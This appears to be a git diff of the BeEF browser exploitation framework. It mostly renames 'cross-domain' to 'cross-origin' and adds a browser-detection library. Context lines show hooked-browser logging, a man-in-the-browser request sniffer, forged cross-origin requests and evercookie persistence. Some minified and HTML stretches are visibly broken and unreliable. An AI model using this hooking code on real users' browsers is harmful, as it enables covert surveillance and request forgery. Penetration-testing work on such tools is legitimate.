i(t)}})},function(t,n,e){e(295),t.exports=e(7).Object.entries},function(t,n,e){var r=e(0),i=e(126)(!0);r(r.S,"Object",{entries:function(t){return i(t)}})},function(t,n,e){"use strict";e(118),e(297),t.exports=e(7).Promise.finally},function(t,n,e){"use strict";var r=e(0),i=e(7),o=e(1),u=e(49),a=e(120);r(r.P+r.R,"Promise",{finally:function(t){var n=u(this,i.Promise||o.Promise),e="function"==typeof t;return this.then(e?function(e){return a(n,t()).then((function(){return e}))}:t,e?function(e){return a(n,t()).then((function(){throw e}))}:t)}})},function(t,n,e){e(299),e(300),e(301),t.exports=e(7)},function(t,n,e){var r=e(1),i=e(0),o=e(59),u=[].slice,a=/MSIE .\./.test(o),c=function(t){return function(n,e){var r=arguments.length>2,i=!!r&&u.call(arguments,2);return t(r?function(){("function"==typeof n?n:Function(n)).apply(this,i)}:n,e)}};i(i.G+i.B+i.F*a,{setTimeout:c(r.setTimeout),setInterval:c(r.setInterval)})},function(t,n,e){var r=e(0),i=e(85);r(r.G+r.B,{setImmediate:i.set,clearImmediate:i.clear})},function(t,n,e){for(var r=e(82),i=e(33),o=e(11),u=e(1),a=e(14),c=e(42),s=e(5),f=s("iterator"),l=s("toStringTag"),h=c.Array,d={CSSRuleList:!0,CSSStyleDeclaration:!1,CSSValueList:!1,ClientRectList:!1,DOMRectList:!1,DOMStringList:!1,DOMTokenList:!0,DataTransferItemList:!1,FileList:!1,HTMLAllCollection:!1,HTMLCollection:!1,HTMLFormElement:!1,HTMLSelectElement:!1,MediaList:!0,MimeTypeArray:!1,NamedNodeMap:!1,NodeList:!0,PaintRequestList:!1,Plugin:!1,PluginArray:!1,SVGLengthList:!1,SVGNumberList:!1,SVGPathSegList:!1,SVGPointList:!1,SVGStringList:!1,SVGTransformList:!1,SourceBufferList:!1,StyleSheetList:!0,TextTrackCueList:!1,TextTrackList:!1,TouchList:!1},p=i(d),v=0;v=0;--i){var o=this.tryEntries[i],u=o.completion;if("root"===o.tryLoc)return r("end");if(o.tryLoc<=this.prev){var a=e.call(o,"catchLoc"),c=e.call(o,"finallyLoc");if(a&&c){if(this.prev=0;--r){var i=this.tryEntries[r];if(i.tryLoc<=this.prev&&e.call(i,"finallyLoc")&&this.prev=0;--n){var e=this.tryEntries[n];if(e.finallyLoc===t)return this.complete(e.completion,e.afterLoc),x(e),l}},catch:function(t){for(var n=this.tryEntries.length-1;n>=0;--n){var e=this.tryEntries[n];if(e.tryLoc===t){var r=e.completion;if("throw"===r.type){var i=r.arg;x(e)}return i}}throw new Error("illegal catch attempt")},delegateYield:function(t,n,e){return this.delegate={iterator:O(t),resultName:n,nextLoc:e},"next"===this.method&&(this.arg=void 0),l}},t}(t.exports);try{regeneratorRuntime=r}catch(t){"object"==typeof globalThis?globalThis.regeneratorRuntime=r:Function("r","regeneratorRuntime = r")(r)}},function(t,n,e){e(304),t.exports=e(127).global},function(t,n,e){var r=e(305);r(r.G,{global:e(87)})},function(t,n,e){var r=e(87),i=e(127),o=e(306),u=e(308),a=e(315),c=function(t,n,e){var s,f,l,h=t&c.F,d=t&c.G,p=t&c.S,v=t&c.P,g=t&c.B,y=t&c.W,m=d?i:i[n]||(i[n]={}),b=m.prototype,S=d?r:p?r[n]:(r[n]||{}).prototype;for(s in d&&(e=n),e)(f=!h&&S&&void 0!==S[s])&&a(m,s)||(l=f?S[s]:e[s],m[s]=d&&"function"!=typeof S[s]?e[s]:g&&f?o(l,r):y&&S[s]==l?function(t){var n=function(n,e,r){if(this instanceof t){switch(arguments.length){case 0:return new t;case 1:return new t(n);case 2:return new t(n,e)}return new t(n,e,r)}return t.apply(this,arguments)};return n.prototype=t.prototype,n}(l):v&&"function"==typeof l?o(Function.call,l):l,v&&((m.virtual||(m.virtual={}))[s]=l,t&c.R&&b&&!b[s]&&u(b,s,l)))};c.F=1,c.G=2,c.S=4,c.P=8,c.B=16,c.W=32,c.U=64,c.R=128,t.exports=c},function(t,n,e){var r=e(307);t.exports=function(t,n,e){if(r(t),void 0===n)return t;switch(e){case 1:return function(e){return t.call(n,e)};case 2:return function(e,r){return t.call(n,e,r)};case 3:return function(e,r,i){return t.call(n,e,r,i)}}return function(){return t.apply(n,arguments)}}},function(t,n){t.exports=function(t){if("function"!=typeof t)throw TypeError(t+" is not a function!");return t}},function(t,n,e){var r=e(309),i=e(314);t.exports=e(89)?function(t,n,e){return r.f(t,n,i(1,e))}:function(t,n,e){return t[n]=e,t}},function(t,n,e){var r=e(310),i=e(311),o=e(313),u=Object.defineProperty;n.f=e(89)?Object.defineProperty:function(t,n,e){if(r(t),n=o(n,!0),r(e),i)try{return u(t,n,e)}catch(t){}if("get"in e||"set"in e)throw TypeError("Accessors not supported!");return"value"in e&&(t[n]=e.value),t}},function(t,n,e){var r=e(88);t.exports=function(t){if(!r(t))throw TypeError(t+" is not an object!");return t}},function(t,n,e){t.exports=!e(89)&&!e(128)((function(){return 7!=Object.defineProperty(e(312)("div"),"a",{get:function(){return 7}}).a}))},function(t,n,e){var r=e(88),i=e(87).document,o=r(i)&&r(i.createElement);t.exports=function(t){return o?i.createElement(t):{}}},function(t,n,e){var r=e(88);t.exports=function(t,n){if(!r(t))return t;var e,i;if(n&&"function"==typeof(e=t.toString)&&!r(i=e.call(t)))return i;if("function"==typeof(e=t.valueOf)&&!r(i=e.call(t)))return i;if(!n&&"function"==typeof(e=t.toString)&&!r(i=e.call(t)))return i;throw TypeError("Can't convert object to primitive value")}},function(t,n){t.exports=function(t,n){return{enumerable:!(1&t),configurable:!(2&t),writable:!(4&t),value:n}}},function(t,n){var e={}.hasOwnProperty;t.exports=function(t,n){return e.call(t,n)}}])})); \ No newline at end of file diff --git a/core/main/client/lib/evercookie.js b/core/main/client/lib/evercookie.js index b785b14e70..4cae82f09d 100644 --- a/core/main/client/lib/evercookie.js +++ b/core/main/client/lib/evercookie.js @@ -31,7 +31,7 @@ * for example, if someone deletes all but one type of cookie, once * that cookie is re-discovered, all of the other cookie types get reset * - * !!! SOME OF THESE ARE CROSS-DOMAIN COOKIES, THIS MEANS + * !!! SOME OF THESE ARE CROSS-ORIGIN COOKIES, THIS MEANS * OTHER SITES WILL BE ABLE TO READ SOME OF THESE COOKIES !!! * * USAGE: @@ -803,7 +803,7 @@ this.evercookie_cookie = function(name, value) else return this.getFromStr(name, document.cookie); }catch(e){ - // the hooked domain is using HttpOnly, so we must set the hook ID in a different way. + // the hooked origin is using HttpOnly, so we must set the hook ID in a different way. // evercookie_userdata and evercookie_window will be used in this case. } }; diff --git a/core/main/client/mitb.js b/core/main/client/mitb.js index efae5dbbc9..3e10a7ce00 100644 --- a/core/main/client/mitb.js +++ b/core/main/client/mitb.js @@ -38,7 +38,7 @@ beef.mitb = { if (method == "GET") { //GET request -> cross-origin if (url.indexOf(document.location.hostname) == -1 || (portR != null && requestPort != document.location.port )) { - beef.mitb.sniff("GET [Ajax CrossDomain Request]: " + url); + beef.mitb.sniff("GET [Ajax CrossOrigin Request]: " + url); window.open(url); }else { //GET request -> same-origin beef.mitb.sniff("GET [Ajax Request]: " + url); diff --git a/core/main/client/net.js b/core/main/client/net.js index f9b8c239e6..6d627834fd 100644 --- a/core/main/client/net.js +++ b/core/main/client/net.js @@ -74,7 +74,7 @@ beef.net = { this.status_text = null; // success, timeout, error, ... this.response_body = null; // "…." if not a cross-origin request this.port_status = null; // tcp port is open, closed or not http - this.was_cross_domain = null; // true or false + this.was_cross_origin = null; // true or false this.was_timedout = null; // the user specified timeout was reached this.duration = null; // how long it took for the request to complete this.headers = null; // full response headers @@ -217,11 +217,11 @@ beef.net = { * @return {Object} this object contains the response details */ request: function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) { - //check if same domain or cross domain - var cross_domain = true; + //check if same origin or cross origin + var cross_origin = true; if (document.domain == domain.replace(/(\r\n|\n|\r)/gm, "")) { //strip eventual line breaks if (document.location.port == "" || document.location.port == null) { - cross_domain = !(port == "80" || port == "443"); + cross_origin = !(port == "80" || port == "443"); } } @@ -238,12 +238,12 @@ beef.net = { //define response object var response = new this.response; - response.was_cross_domain = cross_domain; + response.was_cross_origin = cross_origin; var start_time = new Date().getTime(); /* * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script': - * This will turn POSTs into GETs for remote-domain requests. + * This will turn POSTs into GETs for cross origin requests. */ if (method == "POST") { $j.ajaxSetup({ @@ -310,7 +310,7 @@ beef.net = { /** * Similar to beef.net.request, except from a few things that are needed when dealing with forged requests: * - requestid: needed on the callback - * - allowCrossDomain: set cross-domain requests as allowed or blocked + * - allowCrossOrigin: set cross-origin requests as allowed or blocked * * forge_request is used mainly by the Requester and Tunneling Proxy Extensions. * Example usage: @@ -318,20 +318,20 @@ beef.net = { * true, null, { foo: "bar" }, 5, 'html', false, null, function(response) { * alert(response.response_body)}) */ - forge_request: function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) { + forge_request: function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossOrigin, requestid, callback) { if (domain == "undefined" || path == "undefined") { beef.debug("[beef.net.forge_request] Error: Malformed request. No host specified."); return; } - // check if same domain or cross domain - var cross_domain = true; + // check if same origin or cross origin + var cross_origin = true; if (document.domain == domain && document.location.protocol == scheme + ':') { if (document.location.port == "" || document.location.port == null) { - cross_domain = !(port == "80" || port == "443"); + cross_origin = !(port == "80" || port == "443"); } else { - if (document.location.port == port) cross_domain = false; + if (document.location.port == port) cross_origin = false; } } @@ -348,23 +348,23 @@ beef.net = { // define response object var response = new this.response; - response.was_cross_domain = cross_domain; + response.was_cross_origin = cross_origin; var start_time = new Date().getTime(); - // if cross-domain requests are not allowed and the request is cross-domain + // if cross-origin requests are not allowed and the request is cross-origin // don't proceed and return - if (allowCrossDomain == "false" && cross_domain) { + if (allowCrossOrigin == "false" && cross_origin) { beef.debug("[beef.net.forge_request] Error: Cross Domain Request. The request was not sent."); response.status_code = -1; - response.status_text = "crossdomain"; - response.port_status = "crossdomain"; + response.status_text = "crossorigin"; + response.port_status = "crossorigin"; response.response_body = "ERROR: Cross Domain Request. The request was not sent.\n"; response.headers = "ERROR: Cross Domain Request. The request was not sent.\n"; if (callback != null) callback(response, requestid); return response; } - // if the request was cross-domain from a HTTPS origin to HTTP + // if the request was cross-origin from a HTTPS origin to HTTP // don't proceed and return if (document.location.protocol == 'https:' && scheme == 'http') { beef.debug("[beef.net.forge_request] Error: Mixed Active Content. The request was not sent."); @@ -379,7 +379,7 @@ beef.net = { /* * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script': - * This will turn POSTs into GETs for remote-domain requests. + * This will turn POSTs into GETs for cross origin requests. */ if (method == "POST") { $j.ajaxSetup({ @@ -432,10 +432,10 @@ beef.net = { }, complete: function (xhr, textStatus) { - // cross-domain request - if (cross_domain) { + // cross-origin request + if (cross_origin) { - response.port_status = "crossdomain"; + response.port_status = "crossorigin"; if (xhr.status != 0) { response.status_code = xhr.status; @@ -446,7 +446,7 @@ beef.net = { if (textStatus) { response.status_text = textStatus; } else { - response.status_text = "crossdomain"; + response.status_text = "crossorigin"; } if (xhr.getAllResponseHeaders()) { @@ -460,7 +460,7 @@ beef.net = { } } else { - // same-domain request + // same-origin request response.status_code = xhr.status; response.status_text = textStatus; response.headers = xhr.getAllResponseHeaders(); diff --git a/core/main/client/net/requester.js b/core/main/client/net/requester.js index 379d6da789..70ae5c0ce0 100644 --- a/core/main/client/net/requester.js +++ b/core/main/client/net/requester.js @@ -25,7 +25,7 @@ beef.net.requester = { request = requests_array[i]; if (request.proto == 'https') var scheme = 'https'; else var scheme = 'http'; beef.debug('[Requester] ' + request.method + ' ' + scheme + '://' + request.host + ':' + request.port + request.uri + ' - Data: ' + request.data); - beef.net.forge_request(scheme, request.method, request.host, request.port, request.uri, null, request.headers, request.data, 10, null, request.allowCrossDomain, request.id, + beef.net.forge_request(scheme, request.method, request.host, request.port, request.uri, null, request.headers, request.data, 10, null, request.allowCrossOrigin, request.id, function(res, requestid) { beef.net.send('/requester', requestid, { response_data: res.response_body, response_status_code: res.status_code, diff --git a/core/main/client/net/xssrays.js b/core/main/client/net/xssrays.js index 28d3a5775a..b93768d54a 100644 --- a/core/main/client/net/xssrays.js +++ b/core/main/client/net/xssrays.js @@ -171,7 +171,7 @@ beef.net.xssrays = { this.xss({href:url.href, pathname:url.pathname, hostname:url.hostname, port: url.port, protocol: location.protocol, search:url.search, type: 'url'});//scan each link & param } else { - beef.debug('Scan is not Cross-domain. URLS\nurl :' + url.hostname.toString()); + beef.debug('Scan is not Cross-origin. URLS\nurl :' + url.hostname.toString()); beef.debug('\nlocation :' + location.hostname.toString()); } } @@ -251,7 +251,7 @@ beef.net.xssrays = { continue; } if (!this.crossDomain && (this.host(action).toString() != this.host(location.toString()))) { - beef.debug('Scan is not Cross-domain. FormPost\naction :' + this.host(action).toString()); + beef.debug('Scan is not Cross-origin. FormPost\naction :' + this.host(action).toString()); beef.debug('location :' + this.host(location)); continue; } diff --git a/core/main/configuration.rb b/core/main/configuration.rb index 45a9f2d662..1b9c64e093 100644 --- a/core/main/configuration.rb +++ b/core/main/configuration.rb @@ -256,7 +256,7 @@ def load_extensions_config # def load_modules_config set('beef.module', {}) - # support nested sub-categories, like browser/hooked_domain/ajax_fingerprint + # support nested sub-categories, like browser/hooked_origin/ajax_fingerprint module_configs = File.join("#{$root_dir}/modules/**", 'config.yaml') Dir.glob(module_configs) do |cf| y = load(cf) diff --git a/core/main/handlers/browserdetails.rb b/core/main/handlers/browserdetails.rb index 92a2781ed7..ae64c2cc36 100644 --- a/core/main/handlers/browserdetails.rb +++ b/core/main/handlers/browserdetails.rb @@ -401,6 +401,8 @@ def setup browser_plugins = get_param(@data['results'], 'browser.plugins') if BeEF::Filters.is_valid_browser_plugins?(browser_plugins) BD.set(session_id, 'browser.plugins', browser_plugins) + elsif browser_plugins == "[]" + err_msg "No browser plugins detected." else err_msg "Invalid browser plugins returned from the hook browser's initial connection." end @@ -548,7 +550,7 @@ def setup end # log a few info of newly hooked zombie in the console - print_info "New Hooked Browser [id:#{zombie.id}, ip:#{zombie.ip}, browser:#{browser_name}-#{browser_version}, os:#{os_name}-#{os_version}], hooked domain [#{log_zombie_domain}:#{log_zombie_port}]" + print_info "New Hooked Browser [id:#{zombie.id}, ip:#{zombie.ip}, browser:#{browser_name}-#{browser_version}, os:#{os_name}-#{os_version}], hooked origin [#{log_zombie_domain}:#{log_zombie_port}]" # add localhost as network host if config.get('beef.extension.network.enable') diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index 486da6f964..df4e5affe8 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -19,7 +19,7 @@ def build_beefjs!(req_host) beef_js_path = "#{$root_dir}/core/main/client/" # @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated - ext_js_sub_files = %w[lib/jquery-1.12.4.min.js lib/jquery-migrate-1.4.1.js lib/evercookie.js lib/json2.js lib/mdetect.js lib/platform.js lib/jquery.blockUI.js] + ext_js_sub_files = %w[lib/jquery-1.12.4.min.js lib/jquery-migrate-1.4.1.js lib/evercookie.js lib/json2.js lib/mdetect.js lib/platform.js lib/jquery.blockUI.js lib/bowser-2.11.0.min.js] # @note BeEF libraries: need Eruby evaluation and obfuscation beef_js_sub_files = %w[beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js diff --git a/core/main/handlers/modules/legacybeefjs.rb b/core/main/handlers/modules/legacybeefjs.rb index a0040b77b0..9e447ada92 100644 --- a/core/main/handlers/modules/legacybeefjs.rb +++ b/core/main/handlers/modules/legacybeefjs.rb @@ -19,7 +19,7 @@ def legacy_build_beefjs!(req_host) beef_js_path = "#{$root_dir}/core/main/client/" # @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated - ext_js_sub_files = %w[lib/jquery-1.12.4.min.js lib/jquery-migrate-1.4.1.js lib/evercookie.js lib/json2.js lib/mdetect.js lib/platform.js lib/jquery.blockUI.js] + ext_js_sub_files = %w[lib/jquery-1.12.4.min.js lib/jquery-migrate-1.4.1.js lib/evercookie.js lib/json2.js lib/mdetect.js lib/platform.js lib/jquery.blockUI.js lib/bowser-2.11.0.min.js] # @note BeEF libraries: need Eruby evaluation and obfuscation beef_js_sub_files = %w[beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js diff --git a/core/main/handlers/modules/multistagebeefjs.rb b/core/main/handlers/modules/multistagebeefjs.rb index 7842dfb404..6194e33e53 100644 --- a/core/main/handlers/modules/multistagebeefjs.rb +++ b/core/main/handlers/modules/multistagebeefjs.rb @@ -19,7 +19,7 @@ def multi_stage_beefjs!(req_host) beef_js_path = "#{$root_dir}/core/main/client/" # @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated - ext_js_sub_files = %w[lib/jquery-1.12.4.min.js lib/jquery-migrate-1.4.1.js lib/evercookie.js lib/json2.js lib/mdetect.js lib/platform.js lib/jquery.blockUI.js] + ext_js_sub_files = %w[lib/jquery-1.12.4.min.js lib/jquery-migrate-1.4.1.js lib/evercookie.js lib/json2.js lib/mdetect.js lib/platform.js lib/jquery.blockUI.js lib/bowser-2.11.0.min.js] # @note BeEF libraries: need Eruby evaluation and obfuscation beef_js_sub_files = %w[beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js diff --git a/core/main/router/router.rb b/core/main/router/router.rb index 27387ef9e2..6c06a5fa5d 100644 --- a/core/main/router/router.rb +++ b/core/main/router/router.rb @@ -27,9 +27,9 @@ class Router < Sinatra::Base # @note If CORS is enabled, expose the appropriate headers if config.get('beef.http.restful_api.allow_cors') - allowed_domains = config.get('beef.http.restful_api.cors_allowed_domains') - if allowed_domains - headers 'Access-Control-Allow-Origin' => allowed_domains + allowed_origins = config.get('beef.http.restful_api.cors_allowed_origins') + if allowed_origins + headers 'Access-Control-Allow-Origin' => allowed_origins end headers 'Access-Control-Allow-Methods' => 'POST, GET' diff --git a/docs/BeefJS.html b/docs/BeefJS.html index c6ed0ebea0..2cf8da4f1d 100644 --- a/docs/BeefJS.html +++ b/docs/BeefJS.html @@ -558,7 +558,7 @@

Home

Namespaces

  • diff --git a/docs/are.js.html b/docs/are.js.html index 249f192479..119015f414 100644 --- a/docs/are.js.html +++ b/docs/are.js.html @@ -83,7 +83,7 @@

    Home

    Namespaces

    • diff --git a/docs/beef.are.html b/docs/beef.are.html index ed067319a8..ce03072a49 100644 --- a/docs/beef.are.html +++ b/docs/beef.are.html @@ -457,7 +457,7 @@

      Home

      Namespaces

      • diff --git a/docs/beef.browser.cookie.html b/docs/beef.browser.cookie.html index b5bcf82f34..e2efaac0fe 100644 --- a/docs/beef.browser.cookie.html +++ b/docs/beef.browser.cookie.html @@ -634,7 +634,7 @@

        Home

        Namespaces

        • diff --git a/docs/beef.browser.html b/docs/beef.browser.html index 0d04fb912c..bf7c9519ff 100644 --- a/docs/beef.browser.html +++ b/docs/beef.browser.html @@ -30172,7 +30172,7 @@

          Home

          Namespaces

          • diff --git a/docs/beef.browser.popup.html b/docs/beef.browser.popup.html index d589df6127..683c321624 100644 --- a/docs/beef.browser.popup.html +++ b/docs/beef.browser.popup.html @@ -214,7 +214,7 @@

            Home

            Namespaces

            • diff --git a/docs/beef.dom.html b/docs/beef.dom.html index e2751664e6..2093665e49 100644 --- a/docs/beef.dom.html +++ b/docs/beef.dom.html @@ -3679,7 +3679,7 @@

              Home

              Namespaces

              • diff --git a/docs/beef.encode.base64.html b/docs/beef.encode.base64.html index f731ad92c6..caa36158a5 100644 --- a/docs/beef.encode.base64.html +++ b/docs/beef.encode.base64.html @@ -731,7 +731,7 @@

                Home

                Namespaces

                • diff --git a/docs/beef.encode.json.html b/docs/beef.encode.json.html index 646e2392e6..bdfddafe20 100644 --- a/docs/beef.encode.json.html +++ b/docs/beef.encode.json.html @@ -383,7 +383,7 @@

                  Home

                  Namespaces

                  • diff --git a/docs/beef.geolocation.html b/docs/beef.geolocation.html index cdcbacb985..9019ed3c6e 100644 --- a/docs/beef.geolocation.html +++ b/docs/beef.geolocation.html @@ -569,7 +569,7 @@

                    Home

                    Namespaces

                    • diff --git a/docs/beef.hardware.html b/docs/beef.hardware.html index d0f61f6b4b..4c78e28a14 100644 --- a/docs/beef.hardware.html +++ b/docs/beef.hardware.html @@ -2077,7 +2077,7 @@

                      Home

                      Namespaces

                      • diff --git a/docs/beef.init.html b/docs/beef.init.html index ab87545bef..27fa680932 100644 --- a/docs/beef.init.html +++ b/docs/beef.init.html @@ -477,7 +477,7 @@

                        Home

                        Namespaces

                        • diff --git a/docs/beef.js.html b/docs/beef.js.html index 3f224094d2..ee12e142ea 100644 --- a/docs/beef.js.html +++ b/docs/beef.js.html @@ -126,7 +126,7 @@

                          Home

                          Namespaces

                          • diff --git a/docs/beef.logger.html b/docs/beef.logger.html index 017493eee1..9f4ca60bef 100644 --- a/docs/beef.logger.html +++ b/docs/beef.logger.html @@ -2159,7 +2159,7 @@

                            Home

                            Namespaces

                            • diff --git a/docs/beef.mitb.html b/docs/beef.mitb.html index 4ca1deda7e..a1636de91f 100644 --- a/docs/beef.mitb.html +++ b/docs/beef.mitb.html @@ -917,7 +917,7 @@

                              Home

                              Namespaces

                              • diff --git a/docs/beef.net.connection.html b/docs/beef.net.connection.html index f23474db69..a2b8fa861e 100644 --- a/docs/beef.net.connection.html +++ b/docs/beef.net.connection.html @@ -360,7 +360,7 @@

                                Home

                                Namespaces

                                • diff --git a/docs/beef.net.cors.html b/docs/beef.net.cors.html index 9ad4eb0640..53cdb77fb7 100644 --- a/docs/beef.net.cors.html +++ b/docs/beef.net.cors.html @@ -443,7 +443,7 @@

                                  Home

                                  Namespaces

                                  • diff --git a/docs/beef.net.dns.html b/docs/beef.net.dns.html index 5bad583c24..8d8423fb87 100644 --- a/docs/beef.net.dns.html +++ b/docs/beef.net.dns.html @@ -316,7 +316,7 @@

                                    Home

                                    Namespaces

                                    • diff --git a/docs/beef.net.html b/docs/beef.net.html index 7c7292c1b8..1795e5dcbd 100644 --- a/docs/beef.net.html +++ b/docs/beef.net.html @@ -760,7 +760,7 @@

                                      (static) Similar to beef.net.request, except from a few things that are needed when dealing with forged requests:

                                      • requestid: needed on the callback
                                        • -
                                      • allowCrossDomain: set cross-domain requests as allowed or blocked
                                        • +
                                      • allowCrossOrigin: set cross-origin requests as allowed or blocked

                                      forge_request is used mainly by the Requester and Tunneling Proxy Extensions. Example usage: @@ -2379,7 +2379,7 @@

                                      Home

                                      Namespaces

                                      • diff --git a/docs/beef.net.local.html b/docs/beef.net.local.html index 68119c8511..2ec8f73036 100644 --- a/docs/beef.net.local.html +++ b/docs/beef.net.local.html @@ -440,7 +440,7 @@

                                        Home

                                        Namespaces

                                        • diff --git a/docs/beef.net.portscanner.html b/docs/beef.net.portscanner.html index 94f85acd2e..1bab446391 100644 --- a/docs/beef.net.portscanner.html +++ b/docs/beef.net.portscanner.html @@ -495,7 +495,7 @@

                                          Home

                                          Namespaces

                                          • diff --git a/docs/beef.net.requester.html b/docs/beef.net.requester.html index 4ae452dafc..45f9b0d5c9 100644 --- a/docs/beef.net.requester.html +++ b/docs/beef.net.requester.html @@ -268,7 +268,7 @@

                                            Home

                                            Namespaces

                                            • diff --git a/docs/beef.net.xssrays.html b/docs/beef.net.xssrays.html index cc2fea8607..9031745776 100644 --- a/docs/beef.net.xssrays.html +++ b/docs/beef.net.xssrays.html @@ -764,7 +764,7 @@

                                              Home

                                              Namespaces

                                              • diff --git a/docs/beef.os.html b/docs/beef.os.html index 6f9475546f..d5e21abfaa 100644 --- a/docs/beef.os.html +++ b/docs/beef.os.html @@ -4189,7 +4189,7 @@

                                                Home

                                                Namespaces

                                                • diff --git a/docs/beef.session.html b/docs/beef.session.html index 3a43858541..9473c9724b 100644 --- a/docs/beef.session.html +++ b/docs/beef.session.html @@ -391,7 +391,7 @@

                                                  Home

                                                  Namespaces

                                                  • diff --git a/docs/beef.timeout.html b/docs/beef.timeout.html index b7ae0c267d..6e5df17090 100644 --- a/docs/beef.timeout.html +++ b/docs/beef.timeout.html @@ -217,7 +217,7 @@

                                                    Home

                                                    Namespaces

                                                    • diff --git a/docs/beef.updater.html b/docs/beef.updater.html index 64fc14c652..250b667081 100644 --- a/docs/beef.updater.html +++ b/docs/beef.updater.html @@ -722,7 +722,7 @@

                                                      Home

                                                      Namespaces

                                                      • diff --git a/docs/beef.webrtc.html b/docs/beef.webrtc.html index cf4d4ec702..e73c2004fe 100644 --- a/docs/beef.webrtc.html +++ b/docs/beef.webrtc.html @@ -3062,7 +3062,7 @@

                                                        Home

                                                        Namespaces

                                                        • diff --git a/docs/beef.websocket.html b/docs/beef.websocket.html index ab49452b17..e8c20e145d 100644 --- a/docs/beef.websocket.html +++ b/docs/beef.websocket.html @@ -490,7 +490,7 @@

                                                          Home

                                                          Namespaces

                                                          • diff --git a/docs/browser.js.html b/docs/browser.js.html index 108973fad7..caa1eb3408 100644 --- a/docs/browser.js.html +++ b/docs/browser.js.html @@ -4680,7 +4680,7 @@

                                                            Home

                                                            Namespaces

                                                            • diff --git a/docs/browser_cookie.js.html b/docs/browser_cookie.js.html index 24007293a9..b67ef92c44 100644 --- a/docs/browser_cookie.js.html +++ b/docs/browser_cookie.js.html @@ -163,7 +163,7 @@

                                                              Home

                                                              Namespaces

                                                              • diff --git a/docs/browser_popup.js.html b/docs/browser_popup.js.html index 71dba38c6e..0fb747ab03 100644 --- a/docs/browser_popup.js.html +++ b/docs/browser_popup.js.html @@ -70,7 +70,7 @@

                                                                Home

                                                                Namespaces

                                                                • diff --git a/docs/dom.js.html b/docs/dom.js.html index 3cddfc32c8..1b37f155df 100644 --- a/docs/dom.js.html +++ b/docs/dom.js.html @@ -545,7 +545,7 @@

                                                                  Home

                                                                  Namespaces

                                                                  • diff --git a/docs/encode_base64.js.html b/docs/encode_base64.js.html index ae4c280613..8955081a54 100644 --- a/docs/encode_base64.js.html +++ b/docs/encode_base64.js.html @@ -214,7 +214,7 @@

                                                                    Home

                                                                    Namespaces

                                                                    • diff --git a/docs/encode_json.js.html b/docs/encode_json.js.html index 1de92eae94..c6071ca6c0 100644 --- a/docs/encode_json.js.html +++ b/docs/encode_json.js.html @@ -182,7 +182,7 @@

                                                                      Home

                                                                      Namespaces

                                                                      • diff --git a/docs/geolocation.js.html b/docs/geolocation.js.html index 2721f17f77..c2f1c8421c 100644 --- a/docs/geolocation.js.html +++ b/docs/geolocation.js.html @@ -150,7 +150,7 @@

                                                                        Home

                                                                        Namespaces

                                                                        • diff --git a/docs/global.html b/docs/global.html index 3f0b12e083..19b4c02571 100644 --- a/docs/global.html +++ b/docs/global.html @@ -192,7 +192,7 @@

                                                                          Home

                                                                          Namespaces

                                                                          • diff --git a/docs/hardware.js.html b/docs/hardware.js.html index fd4799f51b..5bf5c26920 100644 --- a/docs/hardware.js.html +++ b/docs/hardware.js.html @@ -359,7 +359,7 @@

                                                                            Home

                                                                            Namespaces

                                                                            • diff --git a/docs/index.html b/docs/index.html index 3b5134bd15..24365d5d67 100644 --- a/docs/index.html +++ b/docs/index.html @@ -102,7 +102,7 @@

                                                                              Home

                                                                              Namespaces

                                                                              • diff --git a/docs/init.js.html b/docs/init.js.html index f5cdd5a5a4..25c7612f18 100644 --- a/docs/init.js.html +++ b/docs/init.js.html @@ -132,7 +132,7 @@

                                                                                Home

                                                                                Namespaces

                                                                                • diff --git a/docs/lib_platform.js.html b/docs/lib_platform.js.html index 398b76b51f..6d3d423b59 100644 --- a/docs/lib_platform.js.html +++ b/docs/lib_platform.js.html @@ -1302,7 +1302,7 @@

                                                                                  Home

                                                                                  Namespaces

                                                                                  • diff --git a/docs/logger.js.html b/docs/logger.js.html index fb675dbe42..62cef8b5ae 100644 --- a/docs/logger.js.html +++ b/docs/logger.js.html @@ -403,7 +403,7 @@

                                                                                    Home

                                                                                    Namespaces

                                                                                    • diff --git a/docs/mitb.js.html b/docs/mitb.js.html index d9322ce3b9..707068c0fa 100644 --- a/docs/mitb.js.html +++ b/docs/mitb.js.html @@ -66,7 +66,7 @@

                                                                                      Source: mitb.js

                                                                                      if (method == "GET") { //GET request -> cross-origin if (url.indexOf(document.location.hostname) == -1 || (portR != null && requestPort != document.location.port )) { - beef.mitb.sniff("GET [Ajax CrossDomain Request]: " + url); + beef.mitb.sniff("GET [Ajax CrossOrigin Request]: " + url); window.open(url); }else { //GET request -> same-origin beef.mitb.sniff("GET [Ajax Request]: " + url); @@ -288,7 +288,7 @@

                                                                                      Home

                                                                                      Namespaces

                                                                                      • diff --git a/docs/net.js.html b/docs/net.js.html index 72d006b6cb..e01730ae6d 100644 --- a/docs/net.js.html +++ b/docs/net.js.html @@ -102,7 +102,7 @@

                                                                                        Source: net.js

                                                                                        this.status_text = null; // success, timeout, error, ... this.response_body = null; // "<html>…." if not a cross-origin request this.port_status = null; // tcp port is open, closed or not http - this.was_cross_domain = null; // true or false + this.was_cross_origin = null; // true or false this.was_timedout = null; // the user specified timeout was reached this.duration = null; // how long it took for the request to complete this.headers = null; // full response headers @@ -245,11 +245,11 @@

                                                                                        Source: net.js

